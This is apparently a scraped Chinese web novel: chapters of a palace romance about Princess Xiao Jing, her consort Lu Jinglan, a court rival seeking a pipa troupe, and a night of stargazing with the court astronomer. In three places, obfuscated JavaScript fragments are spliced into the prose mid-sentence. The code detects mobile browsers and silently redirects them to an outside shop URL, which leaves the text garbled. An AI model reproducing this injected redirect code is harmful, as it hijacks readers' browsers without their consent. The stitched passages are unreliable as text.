见他无事,萧璟那颗悬起的心落了回来,语气又冲起来:“明明是你自己没站稳。” 他笑着上前两步,道:“是啊,方才站得太久,腿麻了。” “你还好意思说久……”她愤愤地白了他一眼,却没脸接着说下去。 思绪和意识都渐渐回笼,一个令她面红耳赤的事实也开始在一片空白的脑海中浮现,而且充斥在每一个角落,赶都赶不出去。 方才那个吻,足足有一盏茶的时辰。 他那般俯身压下,又钉在她面前亲了这一盏茶的时辰,那只撑在她身侧的胳膊,大约早被她攥出了红印子,可自始至终未曾挪动分毫,腰酸腿麻也是活该。 可是,她竟然不觉得脖子酸。 方才那一盏茶的时辰里,每当她察觉酸胀感微微袭来之时,那只托在她后颈的手掌,总能像有感应般地转动寸许,再用拇指顺势揉开那片紧绷的皮肤。 这般细微的动作,在这一盏茶里约莫有五六次。 而每一次,都伴着她的一声嘤咛。 连她自己都分不清,这到底是因为酸胀感被揉开的舒适,还是因为他忽然加深的吻。 忽然间,二人都闭口不言。 气氛依然微妙,但萧璟在沉默间恢复了些许冷静,她轻轻用手背蹭了蹭自己的唇,都不消铜镜,她也知道此刻那里是什么模样。 怎么才两年不见,他变化竟如此大,从身形到气息,都与她印象里的他不同。 更让她感到一阵莫名悸动的,是他看她的眼神,是每次他触碰她时,指尖都像在她皮肤上落下一点火星,将欲燎原。 她抬眼偷偷觑了觑他,却发现他神色凝重,脸上原本残留的淡淡红晕彻底褪去,竟泛出几点苍白,方才还红润的唇,此刻黯淡无光,露出几道小小的细纹。 “你没事吧?”萧璟试探着问道,“你的脸色不太好。” 陆惊澜回过神来,扯了扯干涸的嘴角,笑道:“无妨,只是头有些晕。” 她依旧有些担忧,“怎么好端端地头晕?” 他却笑得更从容了,悠悠道:“许是,被殿下亲晕了。” 说罢,他真的扶起额头,身体微微晃了晃,脚下轻飘飘的。 可分明是朝着她的方向飘过来。 萧璟暗笑一声,目光悄悄盯着他仿佛踩了棉花的凌乱步伐,在他将要跌入她怀里时,忽地灵巧一闪,裙裾轻扬,带起一阵温煦的柔风。 “驸马晕得不辨方向了?” 陆惊澜意识到扑了个空,立即在原地顿住。 还不等他开口,萧璟得意地绕到他身后,伸出手指戳了戳他还扶着额头的那只手,调侃道:“莫不是「掩耳盗铃」的典故到了驸马这儿,成了「扶额诓抱」?” 他正要辩解,门扉被轻轻叩了两下,紧接着传来芷萝的声音:“殿下,柳公子求见。” 萧璟的嘴角霎时落了下来,问道:“他来做甚?” “禀殿下,柳公子是来送柬帖的,月末是柳老夫人的寿辰,邀殿下和驸马一同赴宴。” 虽然讨厌柳明晏,但柳老夫人算起来毕竟是父皇的表姑母,她老人家的寿辰,萧璟总归得去贺一贺,哪怕只是做做样子。 她扬声应道:“知道了,让柳公子在前厅稍候,本宫即刻便到。” 萧璟理了理衣袖,又偷偷抿了下唇,这一抿,便忍不住瞪了那人一眼。 他神色坦然得多,一手背在身后,一手做了个「请」的手势,道:“走吧,殿下。” 她没好气地顶了回去:“驸马这会儿的礼数倒是很周全。” 陆惊澜点了点头,勾唇一笑:“什么场合行什么礼,臣心中有数。” 被这话一噎,萧璟气鼓鼓地转身便走,他立即跟上,像个甩不掉的尾巴,黏在她身后两步的位置,亦步亦趋。 * 二人来到前厅时,柳明晏正恭敬候着。 一见萧璟前来,他连忙从袖中取出一封烫金大红柬帖,双手奉上,柔声道:“臣柳明晏参见殿下,十日后是祖母寿辰,臣今日特来奉上请柬,万望殿下赏光。” 他满面春风,只是那风,只朝着萧璟一个人吹。 萧璟心下不耐烦得很,可还不等她开口,身后那个「尾巴」便自己甩上前来。 “有劳柳公子亲自来送柬帖。” 陆惊澜大步上前,从柳明晏手中抽走请柬,只瞥了一眼,便随手丢在一旁的案几上。 萧璟忍不住勾了勾嘴角,但不过短短一瞬又压了回去,面上神色淡淡,并不打算制止他的幼稚行径。 “这……”柳明晏盯着那封孤零零地躺在小案上的柬帖,又觑着萧璟毫无要开口的意思,只好努力撑着笑容,重复了一遍最后那句话,只不过这次咬牙切齿地添了几个字。 “万望殿下……和驸马赏光。” 萧璟这才慢悠悠地在主位落座,道:“既是老夫人大寿,本宫和驸马会准时赴宴的。” 柳明晏立即行了个谢礼,才挣扎着开口:“只是,臣还有一事要求殿下。” “何事?” 柳明晏屏了口气,继续道:“臣的祖母向来喜好雅音,琵琶尤甚。岁逢她老人家六十大寿,臣本想着寿宴当天安排教坊司奏几首琵琶曲子,为她老人家祝寿,亦聊表臣之微薄孝心。” “可谁知,今日刚从礼部领了批文,便听说整个琵琶乐班都被殿下请来府上替驸马贺寿了。还请殿下看在臣一片孝心的份上,暂且将乐班借臣一用,寿宴一毕,臣立马将人送回,绝不耽误驸马十六岁的生辰宴。” 他将「十六岁」这几个字刻意咬得重些,意味再明显不过。 萧璟不动声色地瞄了一眼身侧的陆惊澜,他显然也听懂了柳明晏话里话外的意思,目光专注地停在她侧颜上,嘴角紧绷,整个人像是一支蓄势待发的箭。 若她再不开口,这支箭大约便要离弦而去了。 虽然她挺想看看的,但眼下,不需要。 “柳公子的孝心令人动容。”萧璟轻叹了口气,语气诚恳,“论起来,本宫还应唤老夫人一声表姑祖母呢,她老人家想在寿辰听几首琵琶曲子,本宫岂有不允之理?” 一听这话,柳明晏一脸的凝重倏然间舒展开来。 正当他要谢恩时,萧璟唇角微扬,不紧不慢地继续道:“为表本宫的「孝心」,寿辰当日,本宫亲自替老夫人奏曲贺寿,柳公子觉得如何?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079920|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳明晏才舒展一瞬的笑彻底凝固了,他慌忙跪地,磕磕绊绊道:“臣…臣岂敢劳动殿下。” 萧璟压下嘴角,冷声道:“怎么?柳公子是瞧不上本宫的「孝心」?还是觉得本宫的技艺不如教坊司的乐伎?” “臣万万不敢!”柳明晏急得满头大汗,只能重重叩首谢恩,“殿下赏赐,是柳家之幸,臣感激涕零,祖母…祖母也定感无上荣光。” 等到柳明晏千恩万谢地退下后,萧璟的神色陡然沉重起来,她重重叹气,轻声道:“陆惊澜,你猜对了,大哥真的不打算放过沈如意。” 自从昨日得知沈如意与大哥的过往,她便一直悬心不已,故而今早他提起琵琶时,她不仅允了他这个心愿,还和他打了个赌。 赌大哥的反应,赌他知道她将人从教坊司要走后的反应。 陆惊澜面上并无甚反应,道:“来要人的是柳家,倒……不一定是晋王殿下的意思。” “呵!”萧璟忽然溢出一声讥讽,睨笑道,“你是生怕我看不出大哥和柳家在暗地勾结是吗?” “臣不敢。”他语气恭敬起来,可声音却冷若冰霜,“臣只是不想冤枉了晋王殿下。” 萧璟闭上眼,没再接话。 冤枉? 满京城里,谁敢这般驳她颜面,要人要到她的公主府来? 柳明晏背后的人是谁,不言而喻。 这个赌约,她输了,输得一败涂地。 她甚至宁愿来要人的是大哥,这样她起码还可以骗一骗自己,大哥只是冷酷无情,没有和柳家沆瀣一气,更没有参与前番诬陷一事。 可所有自欺欺人的念头,都在柳明晏开口说出「喜好雅音,琵琶尤甚」时,碾成粉末,化为乌有。 再度睁开眼时,眼底的挣扎暂且被她压下,她努力让声音听起来平稳:“人安顿在何处,我要见她。” 陆惊澜小心翼翼地观察着她的神色,迟疑道:“在南院的「澄心斋」,她很安全,其实,殿下不必着急见她。” 萧璟摇摇头,坚定道:“不,我一定要查清楚,为何大哥要对她赶尽杀绝。” * 柳明晏磕磕绊绊地将一切回禀完毕,他偷摸瞄着萧启的脸色,竟意外地平静,心下不免松了口气。 “柳明晏。” 不知沉默了多久,萧启终于开口,声音平稳。 柳明晏连忙应道:“臣在。” 萧启缓缓站起身,夕阳透过窗棂,将他本就高大的身影拉得很长很长。 他颇为认真地将柳明晏上下打量了几番,才继续道:“柳文渊聪明一世,是怎么生出你这个草包的?” 柳明晏呼吸一滞,结巴道:“殿下,臣…臣尽力了,臣实在没想到长公主殿下会……” “你尽力了?”萧启冷冷打断,又忍不住笑出声来,“是,你尽力了,尽力把本王和璟妹之间搞得一塌糊涂!” 萧启再也抑制不住怒火,厉声斥道,“本王只是要你悄无声息地把那个女人解决了,你大张旗鼓地去教坊司便罢了,为何还要闹到公主府去?” 柳明晏吓得连连摇头,急声道:“殿下明鉴,臣绝无此意,臣只是想借祖母寿宴的名义,将人带来交差而已,并无离间天家兄妹之意啊。” 他又战战兢兢地补了一句,“臣离开时,长公主面上并无甚不悦,殿下莫要忧虑。” 萧启已经无力再同他解释了,他摆了摆手,背过身去:“滚,滚回去修撰典籍。” 听着柳明晏仓皇退去的步伐,萧启忍不住抬手按了按额角。 他并非不想除了这个蠢货,只不过他此刻有更忧心的事。 照柳明晏方才所言,小五把人从教坊司要走,是为那个小子庆生,那个对他满眼恨意的小子。 今日发生的一切,兵权、教坊司,都在他的算计中。 他放下手,眼中的怒火被强行压下,恢复往日的深沉如水。 璟妹,我不能让这么危险的人留在你身边。 19. 醋意 萧璟步入澄心斋时,那个纤细的身影正独自立于窗前,暖融融的夕阳洒在她身上,却依然驱不散那股从骨子里透出的清冷。 她闻声转过身来,福身一礼,不卑不亢道:“民女见过长公主殿下。” 萧璟反倒有些莫名的心虚,她略略抬手,道:“免礼,想必沈姑娘也清楚本宫的来意。” 沈如意勾起嘴角,笑意妩媚,“殿下邀民女前来,不是为驸马的生辰宴弹曲奏乐么?” “驸马生辰宴的曲子,本宫自己来弹。”萧璟察觉到她话里的刺,语气放得更诚恳,“但有些事,只能沈姑娘来做。” 沈如意嘴角的那抹笑意蓦地凝住,但不过短短一瞬,眼波流转间,她慵懒道:“可是民女这双手,除了弹琵琶,什么都不会了。” 说罢,她还特意抬起手,对着夕阳欣赏起来,那手指细长如葱,白皙细腻。 她轻声问道,“殿下觉得民女的手好不好看?在教坊司这些年,总有贵人夸,这双手天生该是弹曲儿的。” 最后那句话,她说得轻飘飘的,面上似乎还有几分自得之意,可萧璟分明听出那声音在发颤。 萧璟上前两步,离她更近些,声音轻柔却坚定:“弹曲也好,提笔也罢,若是你想,执剑亦可。” 她略一停顿,继续道,“关键在于,沈姑娘想不想。” 沈如意忽地笑了一下,可那双明眸却迷蒙起来:“这世间许多事,不是想就可以的,殿下活得恣意,考虑的只有「想不想」,但你可知旁人要考虑的,是「能不能」。” 虽被讥讽,但萧璟并不恼,她淡淡道:“巧了,本宫如今正在行一「万万不能」之事,若败,恐怕下场好不到哪里去。” 徐危的那句「逆天而行,恐遭反噬」犹在耳畔,她那日撑出一副以死证道的大义模样,可若说心底没有半分怕,那真是自欺欺人了。 那话里的沉重显然触动了沈如意,她追问道:“殿下何出此言?以殿下的身份和地位,还有什么「不能之事」?” 萧璟不愿透露过多,但若是三缄其口,只怕面前这个心防重重的女子断然不会信她。 思虑再三,她才道:“天意。” “人力有穷尽,天命实难违。” 这话说出口,萧璟心里是没底的。 澄心斋内一时静默无言,她刚想自嘲地笑笑,打破僵局时,沈如意先开口了。 “殿下想要我做什么?” 她应得如此干脆,令萧璟心神激荡,忍不住问道:“你信我?你不觉得我是「疯子」吗?” 沈如意这次倒是真的笑得轻松,接道,“疯子?疯子想做的事,是毁灭,但我从殿下的眼睛里看到的,是拯救。” 她走上前,站定在萧璟面前,馥郁的幽兰香伴着她微微发抖的声音,轻轻递了过来:“所以,殿下会拯救我吗?” 那句话里的幽幽香气,萦绕在萧璟鼻尖久久不去,静静等着她的答案。 一眼望过去,沈如意的额前有一绺碎发垂下,正好搭在她泛红的眼角,静室无风,可那发丝却止不住地轻轻拂动。 萧璟屏了口气,将那缕香气尽数敛入,也将那颗破碎了五年的心,一并接了过来。 “我会。” 可她不敢轻易给承诺,只能坦诚道:“但至于能不能,需要我们一起去争。” 话音刚落,小窗外传来两声惊呼。 “我们?” “一起?” 一听这熟悉的声音,萧璟立即拉着沈如意来到窗边,猛地推开窗扉,果然看到两个鬼鬼祟祟正要开溜的身影。 “陆惊澜,二哥,你们什么时候学会听墙角了?” 陆惊澜连忙摆手,慌张道:“不是不是,我和二哥只是路过,是不是啊,二哥?” 他一边说着,一边不停向萧宏努嘴。 萧宏恍然,胡乱抓了抓后脑勺,竟不知从哪掉下来几片树叶,他从善如流道:“是啊,惊澜说府上有好茶,邀我同品,我们正要去品茶呢。” 萧璟看着演技拙劣的两人,不禁笑出了声,她瞥了一眼身侧的沈如意,却见她微微垂着头,脸上泛起几丝红晕。 萧璟有些不解,却并未深究,反而冲着外面那两个做贼心虚的人喊道:“既有好茶,那何不再添两盏,邀我们同品?” 沈如意一听这话,赶忙轻轻扯了扯萧璟的袖子,小声婉拒道:“殿下,这不妥,以民女的身份,怎能和几位一同品茶?” “沈姐姐不必顾忌这些。”萧璟温柔地笑笑,得意道,“放心吧,这里是公主府,本公主的话最大。 “沈姐姐?” 明明隔着一大段距离,可陆惊澜还是敏锐地捕捉到了那几个字,一脸难以置信。 萧璟忍不住给了他一记白眼,反问道:“那不然呢?沈妹妹?” 陆惊澜立即噤声,耷拉着脑袋,用手肘捅了捅一旁的萧宏,二人不知在嘀咕些什么。 茶室里,萧璟亲自执壶斟茶,四件精致的青玉盏里,茶汤颜色清亮,雨前龙井的茶香氤氲而来。 她笑盈盈地先推了一盏给左侧的萧宏:“二哥,请。” 接着又推了一盏给右边的沈如意,“沈姐姐,请。” 最后,她看着对面眼巴巴的陆惊澜,狡黠一笑,给自己留了一盏,指着桌上那孤独的一盏,道,“惊澜弟弟,自己请吧。” 陆惊澜呆住:“……殿下?” 萧宏赶忙低头抿茶,只是肩膀一直在抖,连一向端庄的沈如意,这会儿都捧着茶盏,掩面浅笑。 萧璟不慌不忙地啜了口茶,笑道:“长幼有序的道理,惊澜弟弟不明白?” 她心里暗暗得意,谁让他对那句「沈姐姐」都要吃醋,今日这「惊澜弟弟」的称呼,她叫定了。 陆惊澜不情不愿地伸出手,自己接过了那盏茶,只是越喝越觉得苦涩。 萧璟低头看着茶盏中沉沉浮浮的叶片,开口问道:“二哥今日来,可是有事?” “无事无事。”萧宏赶忙摆手,又觉得不对,改口道,“只是一些漠北军情交接的事,来问问惊澜。” 一提到兵权,萧璟的心又沉了下去,她抬眼一望,对面的陆惊澜倒还算坦然,不禁松了口气。 她主动岔开话题,转向沈如意,轻松道:“对了,还不曾向沈姐姐介绍,这位是我二哥,雍王萧宏,人虽然看着严肃,但性子最是宽和,你不必拘束。” 沈如意垂着头,偷偷瞥了一眼,小声道:“是。” 萧宏攥着茶盏,声音也放轻了些:“如……如若沈姑娘有什么需要帮忙的,尽可直言。” 沈如意的声音更小了,头都不敢抬:“多谢王爷。” 萧宏又补了一句,不过这次声音坚定了许多,“任何事都可以。” 萧璟一听这话,将茶盏盖倏地一放,坐直身子,认真道:“二哥,我们现下就有一件事需要你帮忙。” “什么事?” 她神色严肃,下定决心道:“我要查五年前江南水患一案。” 话音刚落,茶室内蓦地静了一瞬。 “五妹,你为何要查这个案子?”萧宏迟疑着问道,目光却飘向对面的沈如意,“你可知这个案子当年是谁主办的?” “我当然知道。”萧璟吸了口气,压下翻涌的心绪,“正因为是大哥,所以我才要查。” 江南水患案,是串联起大哥、柳家、沈如意的关键,既让她亲眼目睹大哥和柳家赶尽杀绝的意图,那她如何能不去探究当年的隐情。 倘若大哥真是那个恶人,那她宁愿自己亲手来揭下他的面具。 萧宏不动声色地瞄了一眼陆惊澜,只见他嘴角上扬,流露出一抹意味不明的笑,但他记着二人的约定,并未戳破,道:“查案可以,但此案牵涉甚广,你不可自己胡来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091070|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同我商议过才能行动。” 萧璟乖觉地点点头,“二哥放心,我有分寸。” 说罢,她又向沈如意投去一个安慰的笑,沈如意便也点了点头,应道:“二位殿下义举,如意铭记在心。” * 天边升起一弯清月时,陆惊澜送萧宏出了公主府。 两人并肩同行一段,萧宏忍不住开口问道:“为何要瞒着她?她想查案,你有线索,依你的性子,不应该忙不迭送上去么?” 这话里的调侃意味太浓,陆惊澜不禁笑出声来,轻松道:“我眼下只是个赋闲在家的驸马,手中无权,查案寸步难行,又离京两年,对一桩五年前的旧案了解甚深,反而惹人猜忌。” 他顿了顿,眼睛滴溜溜地一转,又道,“依我的性子,只要她开心便好。” 可话音刚落,那个藏在心底深处的真实念头又开始不停撞击着他的心扉,试图从他用理智设下的重重禁锢中逃脱而出。 呵,依他的性子,应当在回来的第一天便一刀结果了萧启那个混账,用他的血,来祭前世的她。 萧宏无奈地摇摇头,问他:“你把这天大的功劳捧到她面前,她不是更开心?” 陆惊澜勾了勾嘴角,他悠闲地交臂枕在脑后,不疾不徐道:“二哥,咱们现在是要朝她最信任的人身上捅刀子,这事,是天大的功劳,更是天大的烫手山芋。” 虽然面上笑得轻松,但只有他自己知道他有多害怕。 那日她脱口而出的「旁人」二字,至今还像毒刺一样扎在他心里。 是啊,他在她心里,只是个「旁人」,前世是,今生亦然。 至少,现下仍是。 她连可能影响萧启那点子破清誉的绯闻,都不愿透露半个字给他。 倘若捅萧启一刀的人是他,只怕她从此再也不会理他了。 萧宏明白过来,猛地一拍他背,埋怨道:“好啊,所以你便把这个烫手山芋甩给我?” “那不然呢?”陆惊澜耸了耸肩,挑眉一笑,“二哥想抱得美人归,总得付出点代价吧。” 萧宏看着他这副理所当然的模样,气得推了他一把,道:“你小子惯会故弄玄虚的,你到底哪来的线索?” 陆惊澜却倏然敛起笑意,扭头看向他,严肃道:“我们说好的,不问。” “用人不疑,疑人不用,若是你有顾虑,我们的合作到此为止。” 萧宏意识到他并非在玩笑,立即抱拳赔礼,沉声道:“是我失言,只要你能替沈家翻案,还如意自由身,我任你差遣。” 一抹淡淡的笑意重新在陆惊澜脸上漾开,他又恢复那副理直气壮的嘴脸,悠悠道:“旁的不说,二哥快些把事办妥,迎人过门才是正经。” “不然这府里多了个「沈姐姐」,哪还有我这个「惊澜弟弟」的位置?” 二人相视一笑,爽朗的笑声在空旷的街道上格外响亮。 听着陆惊澜回房的脚步声越来越近,萧璟急忙闭紧双眼,一动不动,装作早已熟睡。 喧闹褪去,白日里那一盏茶的画面又开始在她脑中来回打转,此刻还是装睡为好。 黑暗中,他的气息和温度一点一点逼近,那股清冽的柏子香丝丝缕缕地缠上鼻尖,便固执地再也不肯离去。 他身上为何总是这么烫,才刚在她身侧躺下,那温热便透着二人之间的空气渐渐渡来,渡到她的脸庞,耳根,颈间,越来越热。 她将眼睛闭得更紧,全部心神都凝在发烫的耳尖,默默数着他的呼吸,一下一下,渐渐平稳。 过了许久,萧璟才将眼帘掀开一道小小的缝,借着漏进来的那一丝月光,她望见了陆惊澜熟睡的侧颜,沉静安详。 同一片皎皎月色下,沈如意伫立窗前,清冷的月光映在她的眼底,凉意入骨,她望着公主府寝殿的方向,喃喃道:“又要到六月了,江南的雨,会停吗?” 20. 观星 透过那道小缝隙看了许久,萧璟才确信陆惊澜是真的睡着了,她轻轻舒了口气,撑起身子坐了起来。 她来回打量了几遍躺在外侧的陆惊澜,他的身形比她高大许多,现下横在榻上,把她下床的路堵了个严严实实。 她只好跪在榻上,稍稍弯下腰,身子前倾,准备从他身上翻过去。 她的右手撑在他枕侧,温热的气息伴着他绵长的呼吸声一下一下拂过她的手腕,她忍着那痒痒的触感,小心翼翼地抬起左腿,从他腰侧跨了过去。 即便她努力控制着动作幅度,可丝绸中衣还是难免摩擦出几声窸窸窣窣的动静,那根随意缠绕了几圈的衣带,偏偏此刻捣乱般地垂了下来,堪堪擦着他的小腹而过。 她赶忙停下动作,一时紧张得忘了呼吸,咬着下唇,悬在半空一动不动。 还好,他睡得沉。 总算成功翻身下床,萧璟轻手轻脚地换上外袍,长舒一口气,走出了内室。 门被轻轻合拢的瞬间,榻上的陆惊澜缓缓睁开眼,他抬手捂住自己紧绷的小腹,烫得不成样子,满是无奈地从齿缝间挤出一句:“萧璟,你是不是当我死了?” 萧璟快步来到西角门,芷萝已在此等候多时,两人利落地上了马车,朝着皇城方向去了。 虽是夏日里,但入夜了总归有些凉意,芷萝一面替萧璟理了理衣襟,一面轻声问道:“殿下,夜深了,咱们这会儿去找徐大人好吗?还瞒着驸马。” 萧璟微微挑眉,笑道:“芷萝,徐危是钦天监监正,夜里正是他观星的时候,这会儿找他正合适。” “至于驸马,他正睡得沉,应该发现不了。” 芷萝看着自家主子得意的笑容,只能叹了口气,道:“殿下,奴婢的意思是,您为何不把这件事告诉驸马?” 萧璟的笑淡了些,靠着软枕沉默了一会儿,才道:“此事听来甚为荒唐,告诉他,他也未必会信。” 她微微垂下头,吸了口气压下那些心虚,小声道,“万一他不信这些谲怪之谈,不肯做这个驸马了怎么办?” 芷萝无奈地扯了扯嘴角,嘀咕道:“可奴婢怎么觉着,驸马挺愿意的。” 萧璟一听这话,反而坐直了身子,理直气壮道:“抛开化煞这回事不谈,做本宫的驸马又不委屈他,他凭什么不愿意?” 芷萝赶忙点头:“是,殿下您说得对,是奴婢多嘴了。” 长街寂寂,阒无一人。 车轮碾过青石板路的“咯吱咯吱”声格外明显,而那道紧随而来的黑影,在夜色的掩护下忽隐忽现,反倒难以察觉。 行至司天台正门时,萧璟才下马车,远远地便闻到了一股苦涩的气味,又是附近的太医院飘来的药材味。 她忽地想起什么,对芷萝吩咐道:“芷萝,晚些时候,你去太医院向当值的太医要些褪红祛肿的药膏。” 芷萝一听,挂心道:“殿下要那个做什么,可是哪里伤着了?快让奴婢看看。” 萧璟连忙摆手,“本宫无碍,是……” 她顿了顿,不好意思地解释道,“是驸马,本宫可能把他的胳膊抓伤了。” 她悄悄攥了下手心,指甲嵌进肉里着实挺疼的,白日里她抓了那么久,又抓得那样紧,想也知道他那只胳膊现下是何光景。 芷萝愣了片刻,随即应道:“是,奴婢这就去。” 说罢,她低头快步离去,只是耳根不知为何倏然间变得通红。 萧璟没太在意,转身便进了司天台。 她脚步很轻,走进内室时,那个正悠闲躺在竹藤椅上的身影还浑然未觉。 徐危手中摇着蒲扇,嘴里还哼着不知名的小曲儿,身侧摆着一张小案,盛放着一把紫砂壶和几碟还冒着热气的点心,一副岁月静好的模样。 萧璟瞬间气不打一出来,冷笑一声,道:“徐大人好自在啊。” 一听是萧璟的声音,徐危吓得浑身一凛,那把蒲扇“啪嗒”一声掉落在地,嘴里哼着的小曲儿也硬生生地掐断了。 他连忙起身迎了上来,额上已经冒出了一层冷汗,“殿…殿下,您怎么大半夜的来了?” 萧璟恨铁不成钢地瞪了他一眼,“本宫若是不来,怎能知道徐大人已经提前告老了?本宫将化煞重任托付于你,你便是这般偷奸耍滑的?” “殿下误会了!”徐危赶忙找补,满脸堆着笑,可冷汗依旧顺着额头直向下淌,“老臣…老臣真的没有偷懒。” 他一边说,一边指着那紫砂壶,快声解释道:“您瞧,这茶是凝神静气的「三清茶」,能激浊扬清,是老臣专为化煞准备的。” 又指着那几碟点心,腰弯得更低了,“还有这些点心,都是太医院特制的,清热败火,化煞佳品。” 他越说声音越小,那笑容越看越心虚。 萧璟原本满腔的怒火,可在他一本正经的胡说八道下,那怒气竟化作了一声无奈的笑,“徐大人,你这监正的位置,莫不是靠这张巧嘴从父皇那里诓来的吧?” 徐危一听这话,整个人瞬间泄了气,连那花白的胡子都耷拉了下来,小声咕哝道:“冷板凳一张,诓来何用?” 他嘴角扯出一个苦涩的笑,语速慢下来,回忆道,“不瞒殿下,臣是承熙初年入的钦天监,于观星测象一业上深耕数十年,可先帝在位二十四年间,除却年节时令的例行召见,主动召臣的次数,拢共不过这个次数。” 他举起手,在萧璟面前比了个「三」的手势,那只遍布皱纹的手,此刻固执地像个顽童,久久不肯放下。 萧璟看着他满脸的郁郁不得志,眼中不由得多了几分歉意,沉默片刻,她才开口劝慰道:“徐大人何必自苦,换言之,国泰民安,天无异象,您才能乐得清闲不是?依本宫看,是福气。” 徐危被她这「歪理」逗得一乐,面上的沉闷倏地散开,他揶揄道,“殿下这张巧嘴,比之臣不遑多让啊。” 一番玩笑下来,气氛松快了不少,徐危不知从哪个犄角旮旯里搬来一张檀木椅,反复擦了好几遍,才乐呵呵道:“殿下别嫌弃,老臣这儿一年到头也没几个人,平日里摆着也是无用,便收起来了。” 萧璟没计较这些,径直落座,给自己斟了杯「三清茶」,浅浅品了一口,忍不住笑了一声。 碧螺春。 二人各自靠在椅中,望着眼前朗星遍布的夜空,萧璟忽地开口问道:“徐大人,你说所谓的「阴煞冲犯」,会不会是人心作祟呢?” 徐危正端着茶,躺在藤椅上有一搭没一搭地晃着,闻言立即坐了起来,他迟疑着问道:“可是有人向殿下说了什么?” “没有,”她摇摇头,语气疲惫,“只是好像看清了一些人的真面目。” 徐危轻轻放下茶杯,缓缓道,“殿下可曾听过一句话,天道即人心,人心若不轨,天意自当罚。” “大人能救吗?”萧璟恳切地望向他。 徐危干笑了两声,躲开她的目光,“老臣只能观星,观不了人心。” 可话音刚落,便听到萧璟的叹气声,他只好又补了一句,“殿下不必忧心,臣近日观测天象,萧氏一族的气运确有好转迹象。” 萧璟好奇地仰头,问道,“大人是如何看的?” 这一问,便打开了徐危的话匣子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116360|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他热情地指着夜空中的一簇星,讲解起来:“殿下您看,紫微垣下那片便是萧氏宗亲的星群,月前还是昏沉一片,唯独一颗星芒炽烈灼眼,压得旁的星子透不出光,这正是「独星霸位,气运将枯」的迹象。” “可如今再看,那星群中隐隐透出了第二道清光,虽然尚且微弱,却已能稳稳地悬在对侧,双星并立,成制衡之势。” “独星霸位,制衡之势……”萧璟喃喃念着这几个词,又睁大了些眼睛,努力在那片星群中辨认。 忽然,她眼前一亮,指着某个方向,问道:“那颗呢?那颗星星是什么?” 徐危顺着她手指的方向望去,漆黑夜幕里,紫微垣的边缘,一颗黄澄澄的小星格外惹眼,光芒内敛,凝而不散,正是天乙贵人星。 他笑着捋了捋胡须,慢悠悠道,“那是专主襄助的贵人星,能逢凶化吉的,殿下看,它的光芒是不是正托着那道制衡的清光?” 萧璟点点头,那星子光芒温润,照得那道清光更亮了些,她试探着问道:“难道说,这颗星代表的是……” 徐危眼底闪过一丝心照不宣的笑意,道:“这贵人星约莫一月前突降而来,来得可巧,又跟殿下的本命星隐隐相吸,气运相融,老臣观星这么多年,还是第一次见如此贴人的贵人星呢。” 一月前…… 那不正是他凯旋那日。 萧璟的脸唰地一红,她别过脸去,轻声嗔道:“徐大人竟然拿本宫取笑。” 徐危爽朗的笑声在司天台上久久回荡,他捻着胡须道,“老臣只观星象,不知其他,殿下莫恼,莫恼。” 夜风卷过,将那些笑语和嗔怪徐徐送上了司天台的屋顶,也尽数送进了屋檐上那道身影的耳中。 他双手抱臂,忍不住轻轻勾了勾嘴角,鬓边几丝没来得及打理好的碎发在夜风中惬意地飞扬。 抬头望向天幕,那颗「贴人」的贵人星确实惹眼,可他的视线却缓缓移向星群中央,在一颗光芒虽弱,却仍在努力绽放微光的星星上停住了。 那一闪一闪而来的光晕,映得他眼底越发柔和。 真像你啊。 * 萧璟轻手轻脚回到寝殿时,榻上那个身影仍旧在熟睡。 听着他悠长的呼吸声,她原本绷着的心弦松了下来,忍不住揉了揉眼,又轻轻打了个哈欠,褪了外袍便准备安寝。 有了前番的经验,她利落地翻进榻内,才刚一躺下,睡意便席卷而来。 身体被柔软的锦衾包裹着,温暖又安心,她背身侧卧,满意地闭上眼,正欲安睡,忽然又挣扎着睁开一道缝。 她翻过身来,四周漆黑一片,眼皮也沉得不愿睁开,不过还好,她循着那温热的气息便能找到他。 鼻尖嗅到熟悉的柏子香,她勾起一抹浅浅的笑,总算安然酣眠。 黑暗里,那原本默然垂落的嘴角,又悄悄翘了起来,翘了许久。 司天台上,不知名的小调儿又再次响起,徐危端起茶盏,碧螺春的清香扑面而来,他浅啜一口,甘醇的茶汤正顺着喉间缓缓淌下时,他的视线不经意间瞥向夜空中。 “咳咳!” 那口醇香的碧螺春被他直接咳了出来,茶盏滑落在地,哐当一声砸了个粉碎。 他不可置信地盯着夜幕中萧氏星群的方位,那呛得通红的脸一点一点转为煞白。 “怎会如此……” 